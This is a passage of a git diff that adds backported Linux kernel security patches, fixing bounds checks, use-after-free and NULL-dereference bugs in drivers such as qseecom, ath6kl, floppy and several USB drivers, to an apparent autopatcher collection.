+Cc: stable@vger.kernel.org +Signed-off-by: Dmitry Torokhov +--- + drivers/input/tablet/gtco.c | 20 +++++++++++++++++--- + 1 file changed, 17 insertions(+), 3 deletions(-) + +diff --git a/drivers/input/tablet/gtco.c b/drivers/input/tablet/gtco.c +index 4b8b9d7aa75e2..35031228a6d07 100644 +--- a/drivers/input/tablet/gtco.c ++++ b/drivers/input/tablet/gtco.c +@@ -78,6 +78,7 @@ Scott Hill shill@gtcocalcomp.com + + /* Max size of a single report */ + #define REPORT_MAX_SIZE 10 ++#define MAX_COLLECTION_LEVELS 10 + + + /* Bitmask whether pen is in range */ +@@ -223,8 +224,7 @@ static void parse_hid_report_descriptor(struct gtco *device, char * report, + char maintype = 'x'; + char globtype[12]; + int indent = 0; +- char indentstr[10] = ""; +- ++ char indentstr[MAX_COLLECTION_LEVELS + 1] = { 0 }; + + dev_dbg(ddev, "======>>>>>>PARSE<<<<<<======\n"); + +@@ -350,6 +350,13 @@ static void parse_hid_report_descriptor(struct gtco *device, char * report, + case TAG_MAIN_COL_START: + maintype = 'S'; + ++ if (indent == MAX_COLLECTION_LEVELS) { ++ dev_err(ddev, "Collection level %d would exceed limit of %d\n", ++ indent + 1, ++ MAX_COLLECTION_LEVELS); ++ break; ++ } ++ + if (data == 0) { + dev_dbg(ddev, "======>>>>>> Physical\n"); + strcpy(globtype, "Physical"); +@@ -369,8 +376,15 @@ static void parse_hid_report_descriptor(struct gtco *device, char * report, + break; + + case TAG_MAIN_COL_END: +- dev_dbg(ddev, "<<<<<<======\n"); + maintype = 'E'; ++ ++ if (indent == 0) { ++ dev_err(ddev, "Collection level already at zero\n"); ++ break; ++ } ++ ++ dev_dbg(ddev, "<<<<<<======\n"); ++ + indent--; + for (x = 0; x < indent; x++) + indentstr[x] = '-'; +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0561-c4f42c24e02c-qseecom Clear client handle after unmap the resources.patch b/recipes-kernel/linux/linux-bass/autopatcher/0561-c4f42c24e02c-qseecom Clear client handle after unmap the resources.patch new file mode 100644 index 0000000..408f5ce --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0561-c4f42c24e02c-qseecom Clear client handle after unmap the resources.patch @@ -0,0 +1,31 @@ +From c4f42c24e02ce82392d8f8fe215570568380c8ab Mon Sep 17 00:00:00 2001 +From: jitendrathakare +Date: Thu, 12 Sep 2019 19:46:48 +0530 +Subject: qseecom : Clear client handle after unmap the resources + +When unloading the app, reset all client members to NULL +to protect from accessing the memory after being freed. + +Change-Id: I573b9c6fde03539522d2b04724a2246660c62518 +Signed-off-by: jitendra thakare +--- + drivers/misc/qseecom.c | 3 ++- + 1 file changed, 2 insertions(+), 1 deletion(-) + +diff --git a/drivers/misc/qseecom.c b/drivers/misc/qseecom.c +index 14a415b..f32d4de 100644 +--- a/drivers/misc/qseecom.c ++++ b/drivers/misc/qseecom.c +@@ -2484,7 +2484,8 @@ static int qseecom_unmap_ion_allocated_memory(struct qseecom_dev_handle *data) + if (!IS_ERR_OR_NULL(data->client.ihandle)) { + ion_unmap_kernel(qseecom.ion_clnt, data->client.ihandle); + ion_free(qseecom.ion_clnt, data->client.ihandle); +- data->client.ihandle = NULL; ++ memset((void *)&data->client, ++ 0, sizeof(struct qseecom_client_handle)); + } + return ret; + } +-- +cgit v1.1 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0562-3cca948bcc69-qseecom check invalid handle for app loaded query request.patch b/recipes-kernel/linux/linux-bass/autopatcher/0562-3cca948bcc69-qseecom check invalid handle for app loaded query request.patch new file mode 100644 index 0000000..1c15413 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0562-3cca948bcc69-qseecom check invalid handle for app loaded query request.patch @@ -0,0 +1,36 @@ +From 3cca948bcc6939f1fffab09d1062ffa8ebe9a9c4 Mon Sep 17 00:00:00 2001 +From: Zhen Kong +Date: Fri, 30 Aug 2019 10:50:25 -0700 +Subject: qseecom: check invalid handle for app loaded query request + +Check if the handle data type received from userspace is valid +for app loaded query request to avoid the offset boundary check +for qseecom_send_modfd_resp is bypassed. + +Change-Id: I5f3611a8f830d6904213781c5ba70cfc0ba3e2e0 +Signed-off-by: Zhen Kong +--- + drivers/misc/qseecom.c | 7 +++++++ + 1 file changed, 7 insertions(+) + +diff --git a/drivers/misc/qseecom.c b/drivers/misc/qseecom.c +index bf87ed2..1d6a992 100644 +--- a/drivers/misc/qseecom.c ++++ b/drivers/misc/qseecom.c +@@ -7345,6 +7345,13 @@ static inline long qseecom_ioctl(struct file *file, + break; + } + case QSEECOM_IOCTL_APP_LOADED_QUERY_REQ: { ++ if ((data->type != QSEECOM_GENERIC) && ++ (data->type != QSEECOM_CLIENT_APP)) { ++ pr_err("app loaded query req: invalid handle (%d)\n", ++ data->type); ++ ret = -EINVAL; ++ break; ++ } + data->type = QSEECOM_CLIENT_APP; + mutex_lock(&app_access_lock); + atomic_inc(&data->ioctl_count); +-- +cgit v1.1 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0563-c0cb07498306-diag Mark Buffer as NULL after freeing.patch b/recipes-kernel/linux/linux-bass/autopatcher/0563-c0cb07498306-diag Mark Buffer as NULL after freeing.patch new file mode 100644 index 0000000..23dcd15 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0563-c0cb07498306-diag Mark Buffer as NULL after freeing.patch @@ -0,0 +1,31 @@ +From c0cb074983060d6ff46e312a9db81fde869cd63b Mon Sep 17 00:00:00 2001 +From: Hardik Arya +Date: Fri, 23 Nov 2018 10:41:41 +0530 +Subject: diag: Mark Buffer as NULL after freeing + +There is a possibility of use-after-free and +double free because of not marking buffer as +NULL after freeing. The patch marks buffer +as NULL after freeing in error case. + +Change-Id: Iacf8f8a4a4e644f48c87d5445ccd594766f2e156 +Signed-off-by: Hardik Arya +--- + drivers/char/diag/diag_masks.c | 1 + + 1 file changed, 1 insertion(+) + +diff --git a/drivers/char/diag/diag_masks.c b/drivers/char/diag/diag_masks.c +index 41ab338..8d53a06 100644 +--- a/drivers/char/diag/diag_masks.c ++++ b/drivers/char/diag/diag_masks.c +@@ -1773,6 +1773,7 @@ static int __diag_mask_init(struct diag_mask_info *mask_info, int mask_len, + mask_info->update_buf = kzalloc(update_buf_len, GFP_KERNEL); + if (!mask_info->update_buf) { + kfree(mask_info->ptr); ++ mask_info->ptr = NULL; + return -ENOMEM; + } + kmemleak_not_leak(mask_info->update_buf); +-- +cgit v1.1 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0564-f3554aeb9912-floppy fix divbyzero in setupformatparams.patch b/recipes-kernel/linux/linux-bass/autopatcher/0564-f3554aeb9912-floppy fix divbyzero in setupformatparams.patch new file mode 100644 index 0000000..b6a1625 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0564-f3554aeb9912-floppy fix divbyzero in setupformatparams.patch @@ -0,0 +1,58 @@ +From f3554aeb991214cbfafd17d55e2bfddb50282e32 Mon Sep 17 00:00:00 2001 +From: Denis Efremov +Date: Fri, 12 Jul 2019 21:55:20 +0300 +Subject: floppy: fix div-by-zero in setup_format_params + +This fixes a divide by zero error in the setup_format_params function of +the floppy driver. + +Two consecutive ioctls can trigger the bug: The first one should set the +drive geometry with such .sect and .rate values for the F_SECT_PER_TRACK +to become zero. Next, the floppy format operation should be called. + +A floppy disk is not required to be inserted. An unprivileged user +could trigger the bug if the device is accessible. + +The patch checks F_SECT_PER_TRACK for a non-zero value in the +set_geometry function. The proper check should involve a reasonable +upper limit for the .sect and .rate fields, but it could change the +UAPI. + +The patch also checks F_SECT_PER_TRACK in the setup_format_params, and +cancels the formatting operation in case of zero. + +The bug was found by syzkaller. + +Signed-off-by: Denis Efremov +Tested-by: Willy Tarreau +Signed-off-by: Linus Torvalds +--- + drivers/block/floppy.c | 5 +++++ + 1 file changed, 5 insertions(+) + +diff --git a/drivers/block/floppy.c b/drivers/block/floppy.c +index 9fb9b312ab6bf..51246bc9709a5 100644 +--- a/drivers/block/floppy.c ++++ b/drivers/block/floppy.c +@@ -2120,6 +2120,9 @@ static void setup_format_params(int track) + raw_cmd->kernel_data = floppy_track_buffer; + raw_cmd->length = 4 * F_SECT_PER_TRACK; + ++ if (!F_SECT_PER_TRACK) ++ return; ++ + /* allow for about 30ms for data transport per track */ + head_shift = (F_SECT_PER_TRACK + 5) / 6; + +@@ -3232,6 +3235,8 @@ static int set_geometry(unsigned int cmd, struct floppy_struct *g, + /* sanity checking for parameters. */ + if (g->sect <= 0 || + g->head <= 0 || ++ /* check for zero in F_SECT_PER_TRACK */ ++ (unsigned char)((g->sect << 2) >> FD_SIZECODE(g)) == 0 || + g->track <= 0 || g->track > UDP->tracks >> STRETCH(g) || + /* check if reserved bits are set */ + (g->stretch & ~(FD_STRETCH | FD_SWAPSIDES | FD_SECTBASEMASK)) != 0) +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0565-39d170b3cb62-ath6kl fix a NULLptrderef bug in ath6klusballocurbfrompipe.patch b/recipes-kernel/linux/linux-bass/autopatcher/0565-39d170b3cb62-ath6kl fix a NULLptrderef bug in ath6klusballocurbfrompipe.patch new file mode 100644 index 0000000..ddde529 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0565-39d170b3cb62-ath6kl fix a NULLptrderef bug in ath6klusballocurbfrompipe.patch @@ -0,0 +1,72 @@ +From 39d170b3cb62ba98567f5c4f40c27b5864b304e5 Mon Sep 17 00:00:00 2001 +From: Hui Peng +Date: Sat, 3 Aug 2019 20:29:04 -0400 +Subject: ath6kl: fix a NULL-ptr-deref bug in ath6kl_usb_alloc_urb_from_pipe() + +The `ar_usb` field of `ath6kl_usb_pipe_usb_pipe` objects +are initialized to point to the containing `ath6kl_usb` object +according to endpoint descriptors read from the device side, as shown +below in `ath6kl_usb_setup_pipe_resources`: + +for (i = 0; i < iface_desc->desc.bNumEndpoints; ++i) { + endpoint = &iface_desc->endpoint[i].desc; + + // get the address from endpoint descriptor + pipe_num = ath6kl_usb_get_logical_pipe_num(ar_usb, + endpoint->bEndpointAddress, + &urbcount); + ...... + // select the pipe object + pipe = &ar_usb->pipes[pipe_num]; + + // initialize the ar_usb field + pipe->ar_usb = ar_usb; +} + +The driver assumes that the addresses reported in endpoint +descriptors from device side to be complete. If a device is +malicious and does not report complete addresses, it may trigger +NULL-ptr-deref `ath6kl_usb_alloc_urb_from_pipe` and +`ath6kl_usb_free_urb_to_pipe`. + +This patch fixes the bug by preventing potential NULL-ptr-deref +(CVE-2019-15098). + +Signed-off-by: Hui Peng +Reported-by: Hui Peng +Reported-by: Mathias Payer +Reviewed-by: Greg Kroah-Hartman +Signed-off-by: Kalle Valo +--- + drivers/net/wireless/ath/ath6kl/usb.c | 8 ++++++++ + 1 file changed, 8 insertions(+) + +diff --git a/drivers/net/wireless/ath/ath6kl/usb.c b/drivers/net/wireless/ath/ath6kl/usb.c +index 4defb7a0330f4..53b66e9434c99 100644 +--- a/drivers/net/wireless/ath/ath6kl/usb.c ++++ b/drivers/net/wireless/ath/ath6kl/usb.c +@@ -132,6 +132,10 @@ ath6kl_usb_alloc_urb_from_pipe(struct ath6kl_usb_pipe *pipe) + struct ath6kl_urb_context *urb_context = NULL; + unsigned long flags; + ++ /* bail if this pipe is not initialized */ ++ if (!pipe->ar_usb) ++ return NULL; ++ + spin_lock_irqsave(&pipe->ar_usb->cs_lock, flags); + if (!list_empty(&pipe->urb_list_head)) { + urb_context = +@@ -150,6 +154,10 @@ static void ath6kl_usb_free_urb_to_pipe(struct ath6kl_usb_pipe *pipe, + { + unsigned long flags; + ++ /* bail if this pipe is not initialized */ ++ if (!pipe->ar_usb) ++ return; ++ + spin_lock_irqsave(&pipe->ar_usb->cs_lock, flags); + pipe->urb_cnt++; + +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0566-3864d33943b4-USB rio500 refuse more than one device at a time.patch b/recipes-kernel/linux/linux-bass/autopatcher/0566-3864d33943b4-USB rio500 refuse more than one device at a time.patch new file mode 100644 index 0000000..ea7b83d --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0566-3864d33943b4-USB rio500 refuse more than one device at a time.patch @@ -0,0 +1,83 @@ +From 3864d33943b4a76c6e64616280e98d2410b1190f Mon Sep 17 00:00:00 2001 +From: Oliver Neukum +Date: Thu, 9 May 2019 11:30:58 +0200 +Subject: USB: rio500: refuse more than one device at a time + +This driver is using a global variable. It cannot handle more than +one device at a time. The issue has been existing since the dawn +of the driver. + +Signed-off-by: Oliver Neukum +Reported-by: syzbot+35f04d136fc975a70da4@syzkaller.appspotmail.com +Cc: stable +Signed-off-by: Greg Kroah-Hartman +--- + drivers/usb/misc/rio500.c | 24 ++++++++++++++++++------ + 1 file changed, 18 insertions(+), 6 deletions(-) + +diff --git a/drivers/usb/misc/rio500.c b/drivers/usb/misc/rio500.c +index 7b9adeb3e7aa1..1d397d93d1276 100644 +--- a/drivers/usb/misc/rio500.c ++++ b/drivers/usb/misc/rio500.c +@@ -447,15 +447,23 @@ static int probe_rio(struct usb_interface *intf, + { + struct usb_device *dev = interface_to_usbdev(intf); + struct rio_usb_data *rio = &rio_instance; +- int retval; ++ int retval = 0; + +- dev_info(&intf->dev, "USB Rio found at address %d\n", dev->devnum); ++ mutex_lock(&rio500_mutex); ++ if (rio->present) { ++ dev_info(&intf->dev, "Second USB Rio at address %d refused\n", dev->devnum); ++ retval = -EBUSY; ++ goto bail_out; ++ } else { ++ dev_info(&intf->dev, "USB Rio found at address %d\n", dev->devnum); ++ } + + retval = usb_register_dev(intf, &usb_rio_class); + if (retval) { + dev_err(&dev->dev, + "Not able to get a minor for this device.\n"); +- return -ENOMEM; ++ retval = -ENOMEM; ++ goto bail_out; + } + + rio->rio_dev = dev; +@@ -464,7 +472,8 @@ static int probe_rio(struct usb_interface *intf, + dev_err(&dev->dev, + "probe_rio: Not enough memory for the output buffer\n"); + usb_deregister_dev(intf, &usb_rio_class); +- return -ENOMEM; ++ retval = -ENOMEM; ++ goto bail_out; + } + dev_dbg(&intf->dev, "obuf address:%p\n", rio->obuf); + +@@ -473,7 +482,8 @@ static int probe_rio(struct usb_interface *intf, + "probe_rio: Not enough memory for the input buffer\n"); + usb_deregister_dev(intf, &usb_rio_class); + kfree(rio->obuf); +- return -ENOMEM; ++ retval = -ENOMEM; ++ goto bail_out; + } + dev_dbg(&intf->dev, "ibuf address:%p\n", rio->ibuf); + +@@ -481,8 +491,10 @@ static int probe_rio(struct usb_interface *intf, + + usb_set_intfdata (intf, rio); + rio->present = 1; ++bail_out: ++ mutex_unlock(&rio500_mutex); + +- return 0; ++ return retval; + } + + static void disconnect_rio(struct usb_interface *intf) +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0567-6cf97230cd5f-media dvb usb fix use after free in dvbusbdeviceexit.patch b/recipes-kernel/linux/linux-bass/autopatcher/0567-6cf97230cd5f-media dvb usb fix use after free in dvbusbdeviceexit.patch new file mode 100644 index 0000000..26e8e53 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0567-6cf97230cd5f-media dvb usb fix use after free in dvbusbdeviceexit.patch @@ -0,0 +1,41 @@ +From 6cf97230cd5f36b7665099083272595c55d72be7 Mon Sep 17 00:00:00 2001 +From: Oliver Neukum +Date: Tue, 30 Apr 2019 09:07:36 -0400 +Subject: media: dvb: usb: fix use after free in dvb_usb_device_exit + +dvb_usb_device_exit() frees and uses the device name in that order. +Fix by storing the name in a buffer before freeing it. + +Signed-off-by: Oliver Neukum +Reported-by: syzbot+26ec41e9f788b3eba396@syzkaller.appspotmail.com +Signed-off-by: Sean Young +Signed-off-by: Mauro Carvalho Chehab +--- + drivers/media/usb/dvb-usb/dvb-usb-init.c | 7 +++++-- + 1 file changed, 5 insertions(+), 2 deletions(-) + +diff --git a/drivers/media/usb/dvb-usb/dvb-usb-init.c b/drivers/media/usb/dvb-usb/dvb-usb-init.c +index 99951e02a8801..dd063a736df5d 100644 +--- a/drivers/media/usb/dvb-usb/dvb-usb-init.c ++++ b/drivers/media/usb/dvb-usb/dvb-usb-init.c +@@ -287,12 +287,15 @@ EXPORT_SYMBOL(dvb_usb_device_init); + void dvb_usb_device_exit(struct usb_interface *intf) + { + struct dvb_usb_device *d = usb_get_intfdata(intf); +- const char *name = "generic DVB-USB module"; ++ const char *default_name = "generic DVB-USB module"; ++ char name[40]; + + usb_set_intfdata(intf, NULL); + if (d != NULL && d->desc != NULL) { +- name = d->desc->name; ++ strscpy(name, d->desc->name, sizeof(name)); + dvb_usb_exit(d); ++ } else { ++ strscpy(name, default_name, sizeof(name)); + } + info("%s successfully deinitialized and disconnected.", name); + +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0568-ef61eb43ada6-USB yurex Fix protection fault after device removal.patch b/recipes-kernel/linux/linux-bass/autopatcher/0568-ef61eb43ada6-USB yurex Fix protection fault after device removal.patch new file mode 100644 index 0000000..ba13742 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0568-ef61eb43ada6-USB yurex Fix protection fault after device removal.patch @@ -0,0 +1,40 @@ +From ef61eb43ada6c1d6b94668f0f514e4c268093ff3 Mon Sep 17 00:00:00 2001 +From: Alan Stern +Date: Tue, 23 Apr 2019 14:48:29 -0400 +Subject: USB: yurex: Fix protection fault after device removal + +The syzkaller USB fuzzer found a general-protection-fault bug in the +yurex driver. The fault occurs when a device has been unplugged; the +driver's interrupt-URB handler logs an error message referring to the +device by name, after the device has been unregistered and its name +deallocated. + +This problem is caused by the fact that the interrupt URB isn't +cancelled until the driver's private data structure is released, which +can happen long after the device is gone. The cure is to make sure +that the interrupt URB is killed before yurex_disconnect() returns; +this is exactly the sort of thing that usb_poison_urb() was meant for. + +Signed-off-by: Alan Stern +Reported-and-tested-by: syzbot+2eb9121678bdb36e6d57@syzkaller.appspotmail.com +CC: +Signed-off-by: Greg Kroah-Hartman +--- + drivers/usb/misc/yurex.c | 1 + + 1 file changed, 1 insertion(+) + +diff --git a/drivers/usb/misc/yurex.c b/drivers/usb/misc/yurex.c +index 6d9fd5f649036..7b306aa22d258 100644 +--- a/drivers/usb/misc/yurex.c ++++ b/drivers/usb/misc/yurex.c +@@ -314,6 +314,7 @@ static void yurex_disconnect(struct usb_interface *interface) + usb_deregister_dev(interface, &yurex_class); + + /* prevent more I/O from starting */ ++ usb_poison_urb(dev->urb); + mutex_lock(&dev->io_mutex); + dev->interface = NULL; + mutex_unlock(&dev->io_mutex); +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0569-1b976fc6d684-media b2c2flexcopusb add sanity checking.patch b/recipes-kernel/linux/linux-bass/autopatcher/0569-1b976fc6d684-media b2c2flexcopusb add sanity checking.patch new file mode 100644 index 0000000..db26af3 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0569-1b976fc6d684-media b2c2flexcopusb add sanity checking.patch @@ -0,0 +1,33 @@ +From 1b976fc6d684e3282914cdbe7a8d68fdce19095c Mon Sep 17 00:00:00 2001 +From: Oliver Neukum +Date: Tue, 30 Jul 2019 09:48:27 +0200 +Subject: media: b2c2-flexcop-usb: add sanity checking + +The driver needs an isochronous endpoint to be present. It will +oops in its absence. Add checking for it. + +Reported-by: syzbot+d93dff37e6a89431c158@syzkaller.appspotmail.com +Signed-off-by: Oliver Neukum +Signed-off-by: Sean Young +Signed-off-by: Mauro Carvalho Chehab +--- + drivers/media/usb/b2c2/flexcop-usb.c | 3 +++ + 1 file changed, 3 insertions(+) + +diff --git a/drivers/media/usb/b2c2/flexcop-usb.c b/drivers/media/usb/b2c2/flexcop-usb.c +index 4bf85e9b78b81..d1331f8281082 100644 +--- a/drivers/media/usb/b2c2/flexcop-usb.c ++++ b/drivers/media/usb/b2c2/flexcop-usb.c +@@ -544,6 +544,9 @@ static int flexcop_usb_probe(struct usb_interface *intf, + struct flexcop_device *fc = NULL; + int ret; + ++ if (intf->cur_altsetting->desc.bNumEndpoints < 1) ++ return -ENODEV; ++ + if ((fc = flexcop_device_kmalloc(sizeof(struct flexcop_usb))) == NULL) { + err("out of memory\n"); + return -ENOMEM; +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0570-3b0541791453-scsi libsas delete sas port if expander discover failed.patch b/recipes-kernel/linux/linux-bass/autopatcher/0570-3b0541791453-scsi libsas delete sas port if expander discover failed.patch new file mode 100644 index 0000000..f9eb30b --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0570-3b0541791453-scsi libsas delete sas port if expander discover failed.patch @@ -0,0 +1,86 @@ +From 3b0541791453fbe7f42867e310e0c9eb6295364d Mon Sep 17 00:00:00 2001 +From: Jason Yan +Date: Tue, 14 May 2019 10:42:39 +0800 +Subject: scsi: libsas: delete sas port if expander discover failed + +The sas_port(phy->port) allocated in sas_ex_discover_expander() will not be +deleted when the expander failed to discover. This will cause resource leak +and a further issue of kernel BUG like below: + +[159785.843156] port-2:17:29: trying to add phy phy-2:17:29 fails: it's +already part of another port +[159785.852144] ------------[ cut here ]------------ +[159785.856833] kernel BUG at drivers/scsi/scsi_transport_sas.c:1086! +[159785.863000] Internal error: Oops - BUG: 0 [#1] SMP +[159785.867866] CPU: 39 PID: 16993 Comm: kworker/u96:2 Tainted: G +W OE 4.19.25-vhulk1901.1.0.h111.aarch64 #1 +[159785.878458] Hardware name: Huawei Technologies Co., Ltd. +Hi1620EVBCS/Hi1620EVBCS, BIOS Hi1620 CS B070 1P TA 03/21/2019 +[159785.889231] Workqueue: 0000:74:02.0_disco_q sas_discover_domain +[159785.895224] pstate: 40c00009 (nZcv daif +PAN +UAO) +[159785.900094] pc : sas_port_add_phy+0x188/0x1b8 +[159785.904524] lr : sas_port_add_phy+0x188/0x1b8 +[159785.908952] sp : ffff0001120e3b80 +[159785.912341] x29: ffff0001120e3b80 x28: 0000000000000000 +[159785.917727] x27: ffff802ade8f5400 x26: ffff0000681b7560 +[159785.923111] x25: ffff802adf11a800 x24: ffff0000680e8000 +[159785.928496] x23: ffff802ade8f5728 x22: ffff802ade8f5708 +[159785.933880] x21: ffff802adea2db40 x20: ffff802ade8f5400 +[159785.939264] x19: ffff802adea2d800 x18: 0000000000000010 +[159785.944649] x17: 00000000821bf734 x16: ffff00006714faa0 +[159785.950033] x15: ffff0000e8ab4ecf x14: 7261702079646165 +[159785.955417] x13: 726c612073277469 x12: ffff00006887b830 +[159785.960802] x11: ffff00006773eaa0 x10: 7968702079687020 +[159785.966186] x9 : 0000000000002453 x8 : 726f702072656874 +[159785.971570] x7 : 6f6e6120666f2074 x6 : ffff802bcfb21290 +[159785.976955] x5 : ffff802bcfb21290 x4 : 0000000000000000 +[159785.982339] x3 : ffff802bcfb298c8 x2 : 337752b234c2ab00 +[159785.987723] x1 : 337752b234c2ab00 x0 : 0000000000000000 +[159785.993108] Process kworker/u96:2 (pid: 16993, stack limit = +0x0000000072dae094) +[159786.000576] Call trace: +[159786.003097] sas_port_add_phy+0x188/0x1b8 +[159786.007179] sas_ex_get_linkrate.isra.5+0x134/0x140 +[159786.012130] sas_ex_discover_expander+0x128/0x408 +[159786.016906] sas_ex_discover_dev+0x218/0x4c8 +[159786.021249] sas_ex_discover_devices+0x9c/0x1a8 +[159786.025852] sas_discover_root_expander+0x134/0x160 +[159786.030802] sas_discover_domain+0x1b8/0x1e8 +[159786.035148] process_one_work+0x1b4/0x3f8 +[159786.039230] worker_thread+0x54/0x470 +[159786.042967] kthread+0x134/0x138 +[159786.046269] ret_from_fork+0x10/0x18 +[159786.049918] Code: 91322300 f0004402 91178042 97fe4c9b (d4210000) +[159786.056083] Modules linked in: hns3_enet_ut(OE) hclge(OE) hnae3(OE) +hisi_sas_test_hw(OE) hisi_sas_test_main(OE) serdes(OE) +[159786.067202] ---[ end trace 03622b9e2d99e196 ]--- +[159786.071893] Kernel panic - not syncing: Fatal exception +[159786.077190] SMP: stopping secondary CPUs +[159786.081192] Kernel Offset: disabled +[159786.084753] CPU features: 0x2,a2a00a38 + +Fixes: 2908d778ab3e ("[SCSI] aic94xx: new driver") +Reported-by: Jian Luo +Signed-off-by: Jason Yan +CC: John Garry +Signed-off-by: Martin K. Petersen +--- + drivers/scsi/libsas/sas_expander.c | 2 ++ + 1 file changed, 2 insertions(+) + +diff --git a/drivers/scsi/libsas/sas_expander.c b/drivers/scsi/libsas/sas_expander.c +index 83f2fd70ce76b..9f7e2457360e2 100644 +--- a/drivers/scsi/libsas/sas_expander.c ++++ b/drivers/scsi/libsas/sas_expander.c +@@ -1019,6 +1019,8 @@ static struct domain_device *sas_ex_discover_expander( + list_del(&child->dev_list_node); + spin_unlock_irq(&parent->port->dev_list_lock); + sas_put_device(child); ++ sas_port_delete(phy->port); ++ phy->port = NULL; + return NULL; + } + list_add_tail(&child->siblings, &parent->ex_dev.children); +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0571-5d6751eaff67-ath6kl add some bounds checking.patch b/recipes-kernel/linux/linux-bass/autopatcher/0571-5d6751eaff67-ath6kl add some bounds checking.patch new file mode 100644 index 0000000..b5a25a3 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0571-5d6751eaff67-ath6kl add some bounds checking.patch @@ -0,0 +1,59 @@ +From 5d6751eaff672ea77642e74e92e6c0ac7f9709ab Mon Sep 17 00:00:00 2001 +From: Dan Carpenter +Date: Thu, 4 Apr 2019 11:56:51 +0300 +Subject: ath6kl: add some bounds checking + +The "ev->traffic_class" and "reply->ac" variables come from the network +and they're used as an offset into the wmi->stream_exist_for_ac[] array. +Those variables are u8 so they can be 0-255 but the stream_exist_for_ac[] +array only has WMM_NUM_AC (4) elements. We need to add a couple bounds +checks to prevent array overflows. + +I also modified one existing check from "if (traffic_class > 3) {" to +"if (traffic_class >= WMM_NUM_AC) {" just to make them all consistent. + +Fixes: bdcd81707973 (" Add ath6kl cleaned up driver") +Signed-off-by: Dan Carpenter +Signed-off-by: Kalle Valo +--- + drivers/net/wireless/ath/ath6kl/wmi.c | 10 +++++++++- + 1 file changed, 9 insertions(+), 1 deletion(-) + +diff --git a/drivers/net/wireless/ath/ath6kl/wmi.c b/drivers/net/wireless/ath/ath6kl/wmi.c +index 39925a8f5e85f..2382c6c46851e 100644 +--- a/drivers/net/wireless/ath/ath6kl/wmi.c ++++ b/drivers/net/wireless/ath/ath6kl/wmi.c +@@ -1176,6 +1176,10 @@ static int ath6kl_wmi_pstream_timeout_event_rx(struct wmi *wmi, u8 *datap, + return -EINVAL; + + ev = (struct wmi_pstream_timeout_event *) datap; ++ if (ev->traffic_class >= WMM_NUM_AC) { ++ ath6kl_err("invalid traffic class: %d\n", ev->traffic_class); ++ return -EINVAL; ++ } + + /* + * When the pstream (fat pipe == AC) timesout, it means there were +@@ -1516,6 +1520,10 @@ static int ath6kl_wmi_cac_event_rx(struct wmi *wmi, u8 *datap, int len, + return -EINVAL; + + reply = (struct wmi_cac_event *) datap; ++ if (reply->ac >= WMM_NUM_AC) { ++ ath6kl_err("invalid AC: %d\n", reply->ac); ++ return -EINVAL; ++ } + + if ((reply->cac_indication == CAC_INDICATION_ADMISSION_RESP) && + (reply->status_code != IEEE80211_TSPEC_STATUS_ADMISS_ACCEPTED)) { +@@ -2632,7 +2640,7 @@ int ath6kl_wmi_delete_pstream_cmd(struct wmi *wmi, u8 if_idx, u8 traffic_class, + u16 active_tsids = 0; + int ret; + +- if (traffic_class > 3) { ++ if (traffic_class >= WMM_NUM_AC) { + ath6kl_err("invalid traffic class: %d\n", traffic_class); + return -EINVAL; + } +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0572-0614e2b73768-ax25 enforce CAPNETRAW for raw sockets.patch b/recipes-kernel/linux/linux-bass/autopatcher/0572-0614e2b73768-ax25 enforce CAPNETRAW for raw sockets.patch new file mode 100644 index 0000000..be834c3 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0572-0614e2b73768-ax25 enforce CAPNETRAW for raw sockets.patch @@ -0,0 +1,31 @@ +From 0614e2b73768b502fc32a75349823356d98aae2c Mon Sep 17 00:00:00 2001 +From: Ori Nimron +Date: Fri, 20 Sep 2019 09:35:47 +0200 +Subject: ax25: enforce CAP_NET_RAW for raw sockets + +When creating a raw AF_AX25 socket, CAP_NET_RAW needs to be checked +first. + +Signed-off-by: Ori Nimron +Signed-off-by: Greg Kroah-Hartman +Signed-off-by: David S. Miller +--- + net/ax25/af_ax25.c | 2 ++ + 1 file changed, 2 insertions(+) + +diff --git a/net/ax25/af_ax25.c b/net/ax25/af_ax25.c +index ca5207767dc27..bb222b882b677 100644 +--- a/net/ax25/af_ax25.c ++++ b/net/ax25/af_ax25.c +@@ -855,6 +855,8 @@ static int ax25_create(struct net *net, struct socket *sock, int protocol, + break; + + case SOCK_RAW: ++ if (!capable(CAP_NET_RAW)) ++ return -EPERM; + break; + default: + return -ESOCKTNOSUPPORT; +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0573-4ac2813cc867-cfg80211 wext avoid copying malformed SSIDs.patch b/recipes-kernel/linux/linux-bass/autopatcher/0573-4ac2813cc867-cfg80211 wext avoid copying malformed SSIDs.patch new file mode 100644 index 0000000..294f33d --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0573-4ac2813cc867-cfg80211 wext avoid copying malformed SSIDs.patch @@ -0,0 +1,55 @@ +From 